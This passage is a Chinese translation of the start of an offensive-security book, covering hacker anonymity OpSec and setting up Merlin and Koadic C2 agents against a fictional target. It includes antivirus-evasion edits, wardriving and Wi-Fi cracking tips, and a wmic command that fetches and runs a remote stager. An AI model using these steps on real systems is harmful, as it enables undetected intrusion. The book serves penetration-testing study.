幽灵黑客指南-全-

幽灵黑客指南(全)

原文:zh.annas-archive.org/md5/9f314866699234dec9f6173ce37388b6

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

安全行业很复杂。我对这个领域保持着一种爱恨交织的关系,这在很大程度上归因于它变化无常和短暂的特性。你可能会花费数月甚至数年时间,在某个特定的安全领域(比如,使用 PowerShell 进行权限提升和横向移动)磨练自己的技能,但当你发现自己处于一个全 Linux 或 macOS 环境中时,你可能会感到完全没用。

等你学会如何转储 macOS 钥匙串中的秘密并击败 Gatekeeper 时,新的 Windows 10 版本已经发布,带来了新的检测措施,这使得每一个 PowerShell 攻击几乎变得无用。你又不得不回到绘图板前:寻找博客、参加会议、研究以升级你的工具并设计新的攻击路径。

冷静地考虑,这场鼠标赛跑看起来简直是彻底的疯狂。

当然,你也可以通过潜入一家公司网络来安慰自己的自尊,尤其是那些视 Windows XP/2003 为珍贵的濒危物种,誓言不惜一切代价保护它们的公司,但潮流正在赶上你。你内心深知,是时候向更广阔的海岸前进了。

毕竟,黑客技术的本质就是如此。不得不舍弃一个最爱的技巧时的沮丧,只有掌握一种全新的技术带来的兴奋感,才能与之媲美。

我们将 黑客技术 粗略地定义为一组技巧和窍门,旨在从系统或过程中获得意想不到的结果。然而,这些技巧有着日益加速的过期日期。作为一名安全专家或爱好者,你的目标是寻找并收集尽可能多的有用技巧。你永远不知道哪根长矛会阻止公牛的冲锋。

在我的其他书籍中,我大多聚焦于与 Windows 相关的攻击,因为大多数财富 500 强公司将其环境的大部分设计围绕 Active Directory。它曾是管理数千个用户、服务器和应用程序的首选解决方案。

然而,时代精神正在变化。如今,想要从零开始建立基础设施的公司,将不再在距离城市 20 英里处的共享数据中心里部署 Windows 域控制器在裸机上。说真的,给我一个仍然想管理硬件过时问题和包含 30 个不同防火墙、交换机、路由器和负载均衡器的 ESXi 集群的系统管理员。快把那根绳子递给我,关上门吧!

既然一切都可以在云环境中几秒钟内设置好,那为什么还要费心呢?数据库、Docker 容器和 Active Directory 都只需点击一下,而且还有免费试用期来为你的会计师提供额外的诱惑。当然,虽然初期的低票价费用会迅速膨胀,随着服务器的扩展而增加,但大多数初创公司会很乐意处理这些问题。这意味着业务在增长。

在这本书中,我决定摒弃你在那些老旧公司中找到的传统架构。让我们看看攻击者如何攻破一个现代且值得一试的对手:一个在一个有养育和韧性云环境中扎根的公司,并通过 DevOps 实践推动其增长。

超越那些毫无头绪的管理层和贪婪猎头吹嘘的流行词汇,当这些新范式成功实践时,它们对架构决策和应用设计的深远影响,迫使你自然需要一套新的技巧和方法来寻找和发现漏洞。在经典环境中可能被忽视或轻视的漏洞,在云环境中却突然具有致命的潜力。忘掉 SQL 注入吧。一旦你知道某台机器托管在 Amazon Web Services(AWS)上,你就应该转向另一类漏洞。

攻击者曾经从一台机器跳到另一台机器,悄悄越过防火墙规则,潜入内部数据库、Active Directory 等地方。这一过程通常涉及网络扫描、流量隧道等。在云环境中,你可以从世界上任何一个 IP 地址操控基础设施的核心元素。如果防火墙阻止了对某台机器的访问?凭借正确的凭证,你可以通过一个简单的 API 调用从中国丢弃那个特定规则,并从菲律宾访问那台“内部”机器。

这并不是说机器跳跃完全消失了。当然,我们仍然需要相当程度的网络技巧来获取那些保存业务数据的宝贵终端访问权限,但目标有所转变,从控制机器转向控制基础设施本身。

考虑一下 DevOps——这是技术公司倡导的另一组原则,大致定义为任何自动化软件开发、提升代码交付和可靠性的技术或组织措施。DevOps 的范围包括从将基础设施定义为代码,到容器化和自动化监控等方方面面。这种 DevOps 文化的一个重要结果是,公司对改变其基础设施和应用程序越来越不怕。忘掉典型的 IT 箴言:“如果它能正常工作,就不要改变。”当你每周将应用程序部署到生产环境五次时,你最好对根据自己的需求随时改变它感到舒适。

当你将应用程序与其运行的系统解耦时,你可以更灵活地升级你的系统。当你有端到端的集成测试时,你就可以轻松地修补代码中的关键部分,且副作用最小。当你拥有定义为代码的基础设施时,你可以防止影子 IT,并对基础设施中的每一台机器进行严格监督——这是许多大公司梦寐以求的奢侈品。

这种前沿的 DevOps 实践潮流打破了我们过去依赖的假设,用以寻找公司网络中的漏洞。黑客通过进入设计系统的人的思维,乘着虚假假设和匆忙决定的浪潮。在这种情况下,如果我们仍然固守旧有的系统设计和运行方式,作为黑客的我们又该如何做到这一点呢?

当然,这个新时代的计算并非都是独角兽撒着彩虹屎。1970 年代犯下的巨大错误仍在这个十年里被忠实地——如果不是说是宗教般地——重复着。难道不荒谬吗,在当今这个充满威胁的世界里,安全仍然被视为“可有可无”,而不是初始最小可行产品(MVP)的核心特性?我不是在说那些即将破产的物联网公司,而是说那些大科技产品,比如 Kubernetes、Chef、Spark 等等。那些发表如下言论的人应该被用钢勺慢慢地反复打到倒下为止:

“Spark 默认情况下安全功能是关闭的。这可能意味着你默认就容易受到攻击。”

但我有些跑题了。我的意思是,DevOps 和向云端的转变正在带来极大的变化,我们的黑客直觉可能需要做一些小的调整,才能保持在正确的轨道上。

这就是点燃并驱动我写这本书的顿悟。

本书的工作原理

这不是一本典型的技术书籍。它不会有传统意义上的教程。我们将扮演黑客的角色,我们的目标是(虚构的)政治咨询公司 Gretsch Politico。我将带你走进黑客的一天(或几天),从头到尾:从建立一个合适的匿名基础设施,到进行一些初步侦察,再到最终渗透并利用目标。书中提到的公司和名字大多是虚构的,除了像 Twitter 和 Kubernetes 这样的显而易见的例子。所以,虽然你可以从中适应并尝试(我鼓励你这样做),但你不会完全按每一步的展示方式操作。例如,我们最终将入侵 Gretsch Politico 首席执行官 Alexandra Styx 的电子邮件。无论是公司还是 Styx 本人都不存在。

在我们的旅程中,我们会遇到许多死胡同和障碍,但我会向你展示如何利用即使是最微薄的成果,也能为你开辟另一条道路。这就是现实世界中安全的运作方式。并不是每条路都会通向成功,但只要足够坚持一点创意,再加上一点运气,你会偶然发现一些有趣的发现。

为了保持我们的第四面墙,从现在开始我们将把我们的目标视作与你我一样具体的存在。

让我们谈谈这次黑客冒险的目标。Gretsch Politico Consulting 是一家帮助未来当选官员进行政治竞选的公司。Gretsch Politico(我们也称之为 GP)声称拥有数百万个数据点和复杂的建模档案,能够有效地与关键受众互动。正如他们在网站上所说的,“选举常常取决于最后几个关键选民。我们的数据管理和微观定向服务帮助你在正确的时间接触到正确的人。”

用外行话来说:“我们拥有数百万人的喜好和厌恶的大型数据库,可以推动任何必要的内容来服务你的政治议程。”

是不是看起来更清晰,但也更吓人了?

我希望我是在编造这些东西,但可悲的是,几乎所有所谓的民主选举现在都在以这种方式运作,所以我们不妨将它作为本书黑客场景的训练场。

模糊计划

我不想在比赛前透露太多,但简单概述一下,这本书分为四个部分。第一部分“抓住我,如果你能”帮助你建立一个强大的黑客基础设施——一个能够保证在线匿名性和恢复力的基础设施。我们将装备一套自定义脚本、容器和指挥与控制(C2)服务器,并以自动化的方式构建一个后端攻击基础设施,以达到最大效率。

带着我们的武器,第二部分“更加努力”列出了你需要执行的基本侦察工作,以便理解你的目标并发现那些有价值的漏洞。

在第三部分“全方位沉浸”中,我们进入一个荒芜短暂的环境,利用它从一个应用程序转向另一个,从一个账户转向另一个,直到我们完全掌控目标的基础设施。

最后,在第四部分“内在敌人”中,我们将所有内容整合起来,通过巧妙地梳理数 TB 的数据,利用目标之间隐藏的联系来收获我们的成果。

我们不会针对每个技术或工具都深入探讨,否则本书将永无止境。相反,在每一章的结尾,我都会提供一些资源供你在闲暇时查阅。

第一部分

《抓住我,如果你能》

…当然我们拥有自由意志,因为我们除了拥有它别无选择。

克里斯托弗·希钦斯

第一章:如何实现在线匿名

渗透测试人员和红队成员在搭建和调优自己的基础设施时,兴奋感和写参与报告时一样多;也就是说,完全没有兴奋感。对他们来说,刺激全在于利用、横向移动和特权升级。建立一个安全的基础设施则是无聊的文书工作。如果他们不小心在目标的日志面板中泄露了自己的 IP 地址,那又怎样?他们只需要为搞砸了事情请团队喝一杯啤酒,蓝队会因为发现并揭露攻击而得到表扬,大家可以在第二天重新开始。

现实世界是不同的。例如,黑客和黑客活动分子没有重来的机会。他们没有法律约束力的参与合同这一奢侈品。他们将自由,甚至生命,押注于他们工具的安全性和基础设施的匿名性。这就是为什么在我的每本书中,我都坚持写一些基本的操作安全(OpSec)程序,以及如何构建一个匿名且高效的黑客基础设施:在这个越来越具有威权主义色彩的世界里,一份如何保持安全的快速指南。我们将从如何尽可能做到在线匿名开始,使用虚拟私人网络(VPN)、Tor、跳跃服务器以及一个可替换且便于携带的攻击基础设施。

如果你已经熟悉当前的指挥与控制(C2)框架、容器以及像 Terraform 这样的自动化工具,你可以跳过前面的内容,直接进入第四章,那里才是真正的黑客攻击开始的地方。

VPN 及其缺陷

我希望到 2021 年,几乎每个人都知道将自己的家庭或工作 IP 地址暴露给目标网站是个大忌。然而,我发现大多数人仍然习惯于通过一个承诺完全匿名的 VPN 服务浏览网站——这个 VPN 是他们用家庭 IP 地址注册的,可能还用了自己的信用卡,附带自己的姓名和地址。更糟糕的是,他们是在家里的笔记本上设置 VPN 连接,一边看着自己最喜欢的 Netflix 节目,一边和朋友在 Facebook 上聊天。

让我们马上澄清一件事。不管他们怎么说,VPN 服务总是会总是保留某种形式的日志:IP 地址、DNS 查询、活动会话等等。让我们暂时站在一个天真的互联网用户的角度,假设没有法律强迫每个接入提供商保留出站连接的基本元数据日志——这种法律在大多数国家都存在,而且没有 VPN 提供商会为你那区区 5 美元的月费而违反这些法律,但请你暂时接受这个坦诚的前提。VPN 提供商在全球多个数据中心有成百上千台服务器。他们也有成千上万的用户——有些是 Linux 用户,另一些是 Windows 用户,还有一部分娇惯的 Mac 用户。你真的能相信在没有日志这种基础工具的情况下,管理如此庞大且异构的基础设施是可能的吗?

没有日志的情况下,技术支持就和那些打电话求助的困惑客户一样无用和迷茫。公司里没有人知道如何开始解决一个简单的 DNS 查询问题,更不用说涉及丢包、优先路由和其他网络巫术的神秘路由问题了。许多 VPN 提供商觉得有必要大声辩护他们的无日志服务,以跟上竞争者们做出类似声明的步伐,但这是一种谎言,导致了毫无意义的竞争,推动了公然的谎言——或者“营销”,就像我现在认为他们所称之为的那样。

你能从一个 VPN 服务提供商那里获得的最好的期望就是他们不会将客户数据卖给出价最高的人。甚至不要考虑那些免费的提供商。为你的隐私投资,不论是时间还是金钱。我推荐从 AirVPN 和 ProtonVPN 开始,它们都是这个行业中非常认真的参与者。

这种对匿名性的看法同样适用于 Tor(洋葱路由,www.torproject.org),它通过一个隐藏你的 IP 地址的节点和中继网络来保证通过互联网的匿名传输。你有没有理由盲目相信第一个你接触的进入 Tor 网络的节点,和那个未经请求的电话一样,承诺给你一个失散多年的遗产,只要你提供信用卡号?当然,第一个节点只知道你的 IP 地址,但或许这已经是太多的信息了。

地点,地点,地点

提高匿名性的一种方式是小心你在黑客行为时的物理位置。别误会我的意思:Tor 非常棒,VPN 是一个很好的替代方案。但是,当你依赖这些服务时,永远要假设你的 IP 地址——因此,你的地理位置和/或浏览器指纹——是这些中介所知道的,并且可以被你的最终目标或任何代表他们调查的人发现。一旦你接受这个前提,结论自然就显现出来了:要在互联网上真正匿名,你需要像关注你的互联网指纹一样关注你的物理痕迹。

如果你恰好住在大城市,可以利用繁忙的火车站、购物中心或类似的公共聚集场所,这些地方有公共 Wi-Fi,悄悄进行你的操作。就像每天成千上万的乘客一样,融入模糊的流动中。然而,要小心不要落入我们那种喜欢模式的人的陷阱。无论如何,尽量避免天天坐在同一个地方。要有意识地去新地点,甚至偶尔更换城市。

世界上一些地方,比如中国、日本、英国、新加坡、美国,甚至法国的某些地区,都有摄像头监控街道和公共场所。在这种情况下,一个替代方案是采用书中最古老的技巧之一:战争驾驶。用车在城市中开来开去,寻找公共 Wi-Fi 热点。普通的 Wi-Fi 接收器可以接收到最多 40 米(约 150 英尺)远的信号,如果使用方向性天线,如 Alfa Networks 的 Wi-Fi 适配器,可以将这个范围增加到几百米(1000 英尺)。一旦找到一个免费的热点,或者一个安全性差的热点(如 WEP 加密和弱的 WPA2 密码,这些是比较常见的,可以通过像 Aircrack-ng 和 Hashcat 这样的工具破解),把车停在附近并开始你的操作。如果你讨厌无目的地开车,可以查看像 WiFi Map 这样的在线项目,www.wifimap.io,它列出了开放的 Wi-Fi 热点,有时还包括它们的密码。

黑客真的可以说是一种生活方式。如果你真心致力于你的事业,你应该全身心投入,避免任何疏忽。

操作笔记本电脑

现在我们已经解决了位置问题,让我们理清笔记本电脑的使用情况。人们对他们的笔记本电脑往往很珍惜,上面贴满了贴纸,配置疯狂,还有,天哪,那些大家都说“总有一天会看的”书签列表。这是你在本地会议上展示的电脑,而不是你用来执行操作的那台电脑。任何你用来发 Twitter 或查看 Gmail 收件箱的电脑,都几乎为大多数政府机构所知。即便你使用了再多的 VPN,如果你的浏览器指纹泄露到你的目标上,你的“美好面容”也无法得到拯救。

出于黑客目的,我们需要一个每次重启时都会清除所有数据的临时操作系统(OS)。我们将这个操作系统存储在一个 USB 闪存驱动器上,每当我们找到一个合适的地方安顿下来时,就将其插入电脑中以加载我们的环境。

Tails (tails.boum.org/) 是这种用途的首选 Linux 发行版。它会自动更换 MAC 地址,强制所有连接都通过 Tor 进行,并避免将数据存储在笔记本硬盘上。(相反,传统操作系统往往会将部分内存数据存储在磁盘上以优化并行执行,这个操作被称为交换。)如果它足够适合斯诺登使用,我敢打赌它对几乎每个人都足够好。我建议在做任何事情之前,先设置 Tails OS 并将其存储在外部硬盘上。

一些人 inexplicably 喜欢 Chromebook。这些是堆叠在廉价硬件上的最小操作系统,仅支持浏览器和终端。听起来很理想,对吧?其实并不是。这是最糟糕的想法之一,仅次于冬天舔金属杆。我们在谈论的是一个由 Google 开发的操作系统,它要求你登录 Google 帐户,同步数据,并将数据存储在 Google Drive 上。还需要我继续说吗?有一些基于 Chromium OS 的衍生系统,像是 NayuOS,禁用了 Google 同步部分,但重点是这些设备并不是为了隐私设计的,绝对不应该用于匿名黑客活动。如果用了,Google 的发布日一定很有趣。

你的操作笔记本应仅包含易失性和临时数据,例如浏览器标签页、复制粘贴的命令等。如果你确实需要导出大量数据,确保将数据以加密方式存储在便携式存储设备上。

跳跃服务器

我们的笔记本唯一的目的是将我们连接到一组服务器,这些服务器包含必要的工具和脚本,为我们的冒险做准备:跳跃服务器。这些是我们匿名设置的虚拟主机,只通过 Tor 或 VPN 连接,并信任它们与我们更恶意的虚拟机 (VM) 互动并存储我们的战利品。

这些服务器为我们提供了一个可靠且稳定的通道,通向我们未来的攻击基础设施。为了连接到跳跃服务器,我们将在确保 VPN 或 Tor 连接已建立的情况下直接通过 SSH 连接到它。我们可以在一个寒冷且繁忙的火车站的随机机器上发起一个 Secure Shell (SSH) 连接,并找到一个温暖舒适的环境,所有的工具和我们喜爱的 Zsh 别名都在等着我们。

跳跃服务器可以托管在一个或多个云服务提供商上,分布在多个地理位置。显而易见的限制是这些提供商支持的支付方式。以下是一些接受加密货币且价格合理的云服务提供商示例:

  • RamNode (www.ramnode.com/) 每月大约需要 $5,提供 1GB 内存和两个虚拟 CPU (vCPU) 核心的服务器。只接受比特币。

  • NiceVPS (nicevps.net/) 每月大约需要 €14.99,提供 1GB 内存和一个 vCPU 核心的服务器。接受 Monero 和 Zcash。

  • Cinfu (www.cinfu.com/) 每月大约需要 $4.79,提供 2GB 内存和一个 vCPU 核心的服务器。支持 Monero 和 Zcash。

  • PiVPS (pivps.com/) 每月大约需要 $14.97,提供 1GB 内存和一个 vCPU 核心的服务器。支持 Monero 和 Zcash。

  • SecureDragon (securedragon.net/) 每月大约需要 $4.99,提供 1GB 内存和两个 vCPU 核心的服务器。只接受比特币。

一些服务,比如 BitLaunch (bitlaunch.io/),可以充当简单的中介。BitLaunch 接受比特币支付,但会使用其自己的账户在 DigitalOcean 和 Linode 上创建服务器(当然,价格是三倍的,简直令人无法接受)。另一种中介服务是 bithost (bithost.io/),它的交易条件稍好一些,但仍然收取 50% 的佣金。除了显而易见的宰客行为外,选择这两家服务的折衷是,它们都不给你提供 DigitalOcean 的 API 接口,而这个接口可以帮助自动化大部分设置过程。

选择云服务提供商时,可能需要做出这个痛苦的折衷:是否支持加密货币及其提供的伪匿名性,还是更注重易用性和自动化。

所有主要的云服务提供商——AWS、Google Cloud、Microsoft Azure、阿里巴巴等——都要求在批准账户之前提供信用卡信息。根据你所在的地区,这可能不是问题,因为有很多服务提供商可以通过现金兑换预付费信用卡。有些在线服务甚至接受比特币充值的信用卡,但大多数都会要求提供某种政府签发的身份证明。这是一个你应该仔细考虑的风险。

理想情况下,跳板服务器应该用于托管像 Terraform、Docker 和 Ansible 这样的管理工具,这些工具将帮助我们构建多个攻击基础设施。架构的高层概述见图 1-1。

f01001.png

图 1-1:黑客基础设施概述

我们的跳板服务器绝不会与目标互动。一个信号都不会发出。因此,我们可以让它们待得稍久一些再更换——几周或几个月——而不会带来重大风险。然而,专门的调查团队可能会找到方法将这些系统与那些用于与目标互动的系统关联起来,所以定期删除和重建跳板服务器是个好主意。

攻击基础设施

我们的攻击基础设施的波动性比我们的跳板服务器高得多,应该只保留几天。如果可能的话,应该针对每次操作或目标保持唯一性。我们最不希望发生的情况是,调查人员通过同一个 IP 将来自不同目标的线索拼凑在一起。

攻击基础设施通常由前端和后端系统组成。前端系统可能发起连接到目标,扫描机器等。它还可以用来——在反向 shell 的情况下——通过网络代理路由传入的数据包,并根据需要将其传递到后端系统,通常是像 Metasploit 或 Empire 这样的 C2 框架。只有一些请求会被转发到 C2 后端;其他页面则返回乏味的内容,如图 1-2 所示。

f01002.png

图 1-2:数据包路由到后端

这个数据包路由可以通过常见的网络代理如 Nginx 或 Apache 来实现,它们充当过滤器:来自感染计算机的请求被直接路由到相应的后台 C2 实例,而其余的请求——例如来自好奇分析师的请求——则显示一个无害的网页。后台 C2 框架实际上是攻击基础设施的脊梁,执行感染机器上的命令,检索文件,传送漏洞利用工具等。

你希望你的基础设施是模块化的,并且可以随时替换。绕过 IP 封禁应该像发送一个命令来启动一个新的代理一样简单。C2 后台出现问题?输入一个命令,你就能启动一个新的 C2 后台,且配置完全相同。

达到这种自动化水平并不是一种试图尝试最流行工具和编程技术的异想天开的方式。攻击服务器配置得越容易,尤其是在压力环境下,我们犯的错误就越少。它是一个进入 DevOps 角色、学习其技能并将其改造为我们自己需求的好理由。希望这能让我们意识到一些不足之处,之后我们可以在黑客冒险中加以利用。下一章将重点讨论如何构建这个后台。

资源

  • 若想了解 Edward Snowden 的生平以及他在情报界的冒险经历,阅读Permanent Record,作者 Edward Snowden(Macmillan,2019)。

  • 在这里搜索 darkAudax 关于黑客攻击 WEP 加密通信的教程:aircrack-ng.org/

  • hakin9.org/找到 Brannon Dorsey 关于使用 Aircrack-ng 和 Hashcat 破解 WPA/WPA2 Wi-Fi 路由器的教程。

  • www.howtoforge.com/查找 Muhammad Arul 关于在 Linux 机器上设置 Zsh 的指南。

第二章:命令与控制的回归

让我们从攻击者的基本工具开始构建攻击基础设施:命令与控制(C2)服务器。我们将研究三个框架,并在我们用作目标的虚拟机上测试每个框架。首先,我们将看看过去是如何进行命令与控制的,了解我们是如何走到今天这一步的。

命令与控制遗产

在过去十年中,C2 框架的不败冠军——提供最广泛和最具多样化的漏洞、阶段器和反向 shell 的框架——是臭名昭著的 Metasploit 框架(www.metasploit.com/)。执行一次快速搜索,寻找渗透测试或黑客教程,我敢打赌第一个链接会指向一篇描述如何在 Linux 主机上设置 Metasploit 的自定义载荷(Meterpreter)以实现完全控制的文章。当然,文章不会提到,自 2007 年以来,这个工具的默认设置已经被每个安全产品标记为潜在威胁,但我们还是不要过于愤世嫉俗。

当需要控制一台没有麻烦的 antivirus 软件的 Linux 主机时,Metasploit 毫无疑问是我的首选。连接非常稳定,框架拥有很多模块,与许多即兴教程似乎暗示的相反,你完全可以——而且实际上 应该——自定义每一个用来构建阶段器和利用工具的可执行模板。Metasploit 对 Windows 的效果较差:它缺乏其他框架中 readily 可用的许多后渗透模块,而且 meterpreter 所使用的技术是每个 antivirus 软件的检查清单上首位的目标。

由于 Windows 是一个不同的“怪物”,我以前更喜欢 Empire 框架(github.com/EmpireProject/Empire/),它提供了一个详尽的模块、漏洞利用和横向移动技术的清单,专门针对 Active Directory 设计。遗憾的是,Empire 不再由原团队维护,原团队成员的 Twitter 账号分别是:@harmj0y@sixdub@enigma0x3@rvrsh3ll@killswitch_gui@xorrior。他们在 Windows 黑客社区掀起了一场真正的革命,值得我们最真诚的感谢。幸运的是,令我们所有人激动的是,Empire 由 BC Security 团队重新带回了生命,他们在 2019 年 12 月发布了 3.0 版本。我理解停止维护 Empire 的决策背后的原因:这个框架的出现是基于 PowerShell 允许攻击者在 Windows 环境中畅行无阻的前提,免受像杀毒软件和监控程序这种低级防范的影响。然而,Windows 10 引入的 PowerShell 阻止日志记录和 AMSI 等新功能挑战了这一假设,因此停止该项目,转而支持像使用 C#这样的新一代攻击(例如,SharpSploit:github.com/cobbr/SharpSploit/)是有道理的。

寻找新的 C2

由于 Empire 项目不再是一个选择,我开始寻找潜在的替代品。我担心不得不回到 Cobalt Strike,正如 99%的咨询公司那样,将钓鱼攻击伪装成红队任务。我对这款工具没有任何反感——它很棒,提供了很好的模块化,并且配得上它所取得的成功。只是看到那么多伪公司仅仅因为购买了一个$3,500 的 Cobalt Strike 许可证,就趁着红队业务的热潮大肆宣传,实在让人感到疲惫和沮丧。

然而,我感到非常惊讶的是,竟然有这么多开源 C2 框架在 Empire 留下的空白中应运而生。下面是一些引起我注意的有趣框架的简要介绍。我会快速浏览一些与我们当前场景关系不大的高级概念,并演示每个框架的有效载荷执行。如果你不完全理解某些有效载荷是如何工作的,不用担心。稍后我们会重新回到需要了解的部分。

Merlin

Merlin(github.com/Ne0nd0g/merlin/)是一个 C2 框架,正如现在大多数流行工具一样,它是用 Golang 编写的。它可以在 Linux、Windows 以及几乎所有 Go 运行时支持的平台上运行。在目标机器上启动的代理可以是一个普通的可执行文件,比如 DLL 文件,甚至是一个 JavaScript 文件。

要开始使用 Merlin,首先需要安装 Golang 环境。这将允许你自定义可执行代理并添加后期利用模块——当然,这是非常鼓励的。

使用以下命令安装 Golang 和 Merlin:

root@Lab:~/# add-apt-repository ppa:longsleep/golang-backports
root@Lab:~/# apt update && sudo apt install golang-go
root@Lab:~/# go version
go version go1.13 linux/amd64

root@Lab:~/# git clone https://github.com/Ne0nd0g/merlin && cd merlin

Merlin 的真正创新之处在于它依赖 HTTP/2 与其后端服务器通信。与 HTTP/1.x 不同,HTTP/2 是一种二进制协议,支持许多提升性能的特性,比如流复用、服务器推送等等(有一个很好的免费资源详细讨论了 HTTP/2,地址是daniel.haxx.se/http2/http2-v1.12.pdf)。即便一个安全设备捕获并解密了 C2 流量,它也可能无法解析压缩后的 HTTP/2 流量,最终只是将其原封不动地转发。

如果我们直接编译一个标准代理,它会立刻被任何常规的防病毒软件通过简单的字符串查找给识别出来,尤其是查找常见的显眼术语。因此我们需要做一些调整。我们会重命名像ExecuteShell这样的可疑函数,并删除原始包名github.com/Ne0nd0g/merlin的引用。我们将使用经典的find命令来查找包含这些字符串的源代码文件,并将其输出传递给xargs,后者会调用sed来替换这些可疑术语为任意单词:

root@Lab:~/# find . -name '*.go' -type f -print0 \
**| xargs -0 sed -i 's/ExecuteShell/MiniMice/g'**

root@Lab:~/# find . -name '*.go' -type f -print0 \
**| xargs -0 sed -i 's/executeShell/miniMice/g'**

root@Lab:~/# find . -name '*.go' -type f -print0 \
**| xargs -0 sed -i 's/\/Ne0nd0g\/merlin/\/mini\/heyho/g'**

root@Lab:~/# sed -i 's/\/Ne0nd0g\/merlin/\/mini\/heyho/g' go.mod

这种粗暴的字符串替换可以绕过 90%的防病毒解决方案,包括 Windows Defender。不断调整并将其与像 VirusTotal 这样的平台(www.virustotal.com/gui/)进行测试,直到你通过所有测试。

现在让我们在output文件夹中编译一个代理,稍后我们会将其放到 Windows 测试机上:

root@Lab:~/# make agent-windows DIR="./output"
root@Lab:~/# ls output/
merlinAgent-Windows-x64.exe

一旦在机器上执行,merlinAgent-Windows-x64.exe应该会连接回我们的 Merlin 服务器,并允许完全控制目标。

我们通过go run命令启动 Merlin C2 服务器,并通过-i 0.0.0.0选项指示它监听所有网络接口:

root@Lab:~/# go run cmd/merlinserver/main.go -i 0.0.0.0 -p 8443 -psk\
`strongPassphraseWhateverYouWant`

[-] Starting h2 listener on 0.0.0.0:8443

Merlin>>

We execute the Merlin agent on a Windows virtual machine acting as the target to trigger the payload:

PS C:\> **.\merlinAgent-Windows-x64.exe -url https://192.168.1.29:8443 -psk\**
`strongPassphraseWhateverYouWant`

下面是你应该在攻击服务器上看到的内容:

[+] New authenticated agent 6c2ba6-daef-4a34-aa3d-be944f1

Merlin>> **interact 6c2ba6-daef-4a34-aa3d-be944f1**
Merlin[agent][6c2ba6-daef-...]>> ls

[+] Results for job swktfmEFWu at 2020-09-22T18:17:39Z

Directory listing for: C:\
-rw-rw-rw-  2020-09-22 19:44:21  16432  Apps
-rw-rw-rw-  2020-09-22 19:44:15  986428 Drivers
`--snip--`

该代理工作得非常顺利。现在我们可以在目标机器上丢弃凭证,搜索文件,移动到其他机器,启动键盘记录器,等等。

Merlin 仍然是一个处于初期阶段的项目,因此你会遇到一些 bug 和不一致的情况,主要是由于 Golang 中的 HTTP/2 库不稳定。毕竟它不是随便叫做“beta”版本的,但这个项目背后的努力绝对令人惊叹。如果你曾经想参与 Golang 的开发,或许这是一个机会。这个框架目前有接近 50 个后期利用模块,从凭证收集器到用于内存中编译和执行 C#的模块应有尽有。

Koadic

Koadic 框架由 zerosum0x0 开发(github.com/zerosum0x0/koadic/),自 DEF CON 25 发布以来,已获得广泛关注。Koadic 完全专注于 Windows 目标,但其主要卖点是它实现了各种时髦且巧妙的执行技巧:regsvr32(一个 Microsoft 工具,用于在 Windows 注册表中注册 DLL,以便其他程序调用;它可用于欺骗像srcobj.dll这样的 DLL 执行命令)、mshta(一个 Microsoft 工具,用于执行 HTML 应用程序或 HTA)、XSL 样式表等等。用以下命令安装 Koadic:

root@Lab:~/# git clone https://github.com/zerosum0x0/koadic.git
root@Lab:~/# pip3 install -r requirements.txt

然后使用以下命令启动它(我还包括了help输出的开始部分):

root@Lab:~/# ./koadic

(koadic: sta/js/mshta)$ **help**
    COMMAND     DESCRIPTION
    ---------   -------------
    cmdshell    command shell to interact with a zombie
    creds       shows collected credentials
    domain      shows collected domain information
`--snip--`

让我们试验一个stager——一段小代码,会被放置在目标机器上,启动连接到服务器并加载其他有效载荷(通常存储在内存中)。一个 stager 占用的空间很小,因此如果反恶意软件工具标记了我们的代理,我们可以轻松调整代理,而不必重写我们的有效载荷。Koadic 附带的一个 stager 通过嵌入在 XML 样式表中的 ActiveX 对象传递其有效载荷,也称为XSLTwww.w3.org/Style/XSL/)。它那恶意格式化的 XSLT 样式表可以输入到本地的 wmic 工具中,该工具将迅速执行嵌入的 JavaScript,并呈现 os get 命令的输出。在 Koadic 中执行以下命令以触发 stager:

(koadic: sta/js/mshta)$ **use stager/js/wmic**
(koadic: sta/js/wmic)$ **run**

[+] Spawned a stager at http://192.168.1.25:9996/ArQxQ.xsl

[>] wmic os get /FORMAT:"http://192.168.1.25:9996/ArQxQ.xsl"

然而,前面的触发命令很容易被 Windows Defender 捕获,所以我们需要稍微修改一下——例如,将wmic.exe重命名为一些无害的名称,如dolly.exe,如下面所示。根据受害者机器的 Windows 版本,你可能还需要修改 Koadic 生成的样式表以规避检测。同样,简单的字符串替换就可以做到(AV 领域的机器学习也不过如此):

# Executing the payload on the target machine

C:\Temp> **copy C:\Windows\System32\wbem\wmic.exe dolly.exe**
C:\Temp> **dolly.exe os get /FORMAT:http://192.168.1.25:9996/ArQxQ.xsl**

Koadic 将目标机器称为“僵尸”。当我们在服务器上检查僵尸时,应该能看到目标机器的详细信息:

# Our server

(koadic: sta/js/mshta)$ **zombies**

[+] Zombie 1: PIANO\wk_admin* @ PIANO -- Windows 10 Pro

我们通过僵尸的 ID 来获取其基本系统信息:

(koadic: sta/js/mshta)$ **zombies 1**
   ID:                     1
   Status:                 Alive
   IP:                     192.168.1.30
   User:                   PIANO\wk_admin*
   Hostname:               PIANO
`--snip--`

接下来,我们可以选择任何可用的植入物,使用命令use implant/,从用 Mimikatz 提取密码到跳转到其他机器。如果你熟悉 Empire,那么你会觉得 Koadic 很容易上手。

唯一需要注意的是,和大多数当前的 Windows C2 框架一样,在将所有有效载荷部署到现场之前,你应该仔细定制并清理它们。开源的 C2 框架就是框架:它们处理一些枯燥的任务,比如代理通信和加密,并提供可扩展的插件和代码模板,但它们每个本地的漏洞或执行技巧都可能是被污染的,应该进行手术般的修改,以规避杀毒软件和端点检测与响应(EDR)解决方案。

对于这种清理,有时简单的字符串替换就能解决问题;有时,我们需要重新编译代码或剪切一些部分。不要期望这些框架能够在全新的、硬化的 Windows 10 系统上完美运行。花时间研究执行技术,并使其适应你自己的需求。

SILENTTRINITY

我想介绍的最后一个 C2 框架是我个人最喜欢的:SILENTTRINITY(github.com/byt3bl33d3r/SILENTTRINITY)。它采取了一种非常独特的方法,我认为你应该暂时停止阅读这本书,去 YouTube 观看 Marcello Salvati 的演讲“IronPython……OMFG”,内容涉及.NET 环境。

简单地总结一下,PowerShell 和 C#代码会生成中间汇编代码,由.NET 框架执行。然而,还有许多其他语言也能完成同样的工作:F#、IronPython……以及 Boo-Lang!是的,它是一个真实的语言,查查吧。就像一个 Python 爱好者和一个微软迷被关在一个房间里,迫使他们合作,拯救人类免于即将到来的好莱坞式灾难。

虽然每个安全供应商都在忙着寻找 PowerShell 脚本和奇怪的命令行,但 SILENTTRINITY 却在云端悠闲地滑行,使用 Boo-Lang 与 Windows 内部服务交互,并投下看起来完全安全的恶意炸弹:

